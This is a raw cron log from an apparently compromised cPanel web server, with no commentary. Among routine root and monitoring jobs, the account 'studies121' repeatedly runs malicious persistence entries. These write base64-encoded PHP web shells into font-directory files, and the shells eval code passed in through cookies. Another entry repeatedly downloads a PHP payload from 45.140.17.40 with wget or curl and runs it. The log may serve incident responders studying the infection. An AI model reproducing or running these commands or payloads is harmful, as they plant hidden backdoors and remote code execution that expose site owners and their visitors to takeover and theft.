Sep 21 12:07:01 ip-184-168-122-23 CROND[28950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:07:01 ip-184-168-122-23 CROND[28952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:07:01 ip-184-168-122-23 CROND[28951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:08:01 ip-184-168-122-23 CROND[29128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:08:01 ip-184-168-122-23 CROND[29131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:08:01 ip-184-168-122-23 CROND[29132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:08:01 ip-184-168-122-23 CROND[29133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:08:01 ip-184-168-122-23 CROND[29130]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:09:01 ip-184-168-122-23 CROND[29375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:09:01 ip-184-168-122-23 CROND[29379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:09:01 ip-184-168-122-23 CROND[29378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:09:01 ip-184-168-122-23 CROND[29380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:09:01 ip-184-168-122-23 CROND[29377]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 12:10:02 ip-184-168-122-23 CROND[29490]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 12:10:02 ip-184-168-122-23 CROND[29493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:10:02 ip-184-168-122-23 CROND[29494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:10:02 ip-184-168-122-23 CROND[29498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:10:02 ip-184-168-122-23 CROND[29495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:10:02 ip-184-168-122-23 CROND[29497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:10:02 ip-184-168-122-23 CROND[29499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:10:02 ip-184-168-122-23 CROND[29500]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 12:11:01 ip-184-168-122-23 CROND[29603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:11:01 ip-184-168-122-23 CROND[29606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:11:01 ip-184-168-122-23 CROND[29605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:11:01 ip-184-168-122-23 CROND[29607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:12:01 ip-184-168-122-23 CROND[29754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:12:01 ip-184-168-122-23 CROND[29755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:12:01 ip-184-168-122-23 CROND[29756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:12:01 ip-184-168-122-23 CROND[29757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:12:01 ip-184-168-122-23 CROND[29758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:13:01 ip-184-168-122-23 CROND[29966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:13:01 ip-184-168-122-23 CROND[29969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:13:01 ip-184-168-122-23 CROND[29967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:13:01 ip-184-168-122-23 CROND[29968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:14:01 ip-184-168-122-23 CROND[30313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:14:01 ip-184-168-122-23 CROND[30315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:14:01 ip-184-168-122-23 CROND[30317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:14:01 ip-184-168-122-23 CROND[30316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:14:01 ip-184-168-122-23 CROND[30321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:15:01 ip-184-168-122-23 CROND[30611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:15:01 ip-184-168-122-23 CROND[30614]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 21 12:15:01 ip-184-168-122-23 CROND[30615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:15:01 ip-184-168-122-23 CROND[30616]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 12:15:01 ip-184-168-122-23 CROND[30617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:15:01 ip-184-168-122-23 CROND[30618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:15:01 ip-184-168-122-23 CROND[30619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 12:15:01 ip-184-168-122-23 CROND[30620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:16:01 ip-184-168-122-23 CROND[30963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:16:01 ip-184-168-122-23 CROND[30966]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 12:16:01 ip-184-168-122-23 CROND[30965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:16:01 ip-184-168-122-23 CROND[30968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:16:01 ip-184-168-122-23 CROND[30967]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:16:01 ip-184-168-122-23 CROND[30969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:17:01 ip-184-168-122-23 CROND[31274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:17:01 ip-184-168-122-23 CROND[31275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:17:01 ip-184-168-122-23 CROND[31276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:17:01 ip-184-168-122-23 CROND[31279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:18:01 ip-184-168-122-23 CROND[31545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:18:01 ip-184-168-122-23 CROND[31547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:18:01 ip-184-168-122-23 CROND[31549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:18:01 ip-184-168-122-23 CROND[31548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:18:01 ip-184-168-122-23 CROND[31550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:19:01 ip-184-168-122-23 CROND[31767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
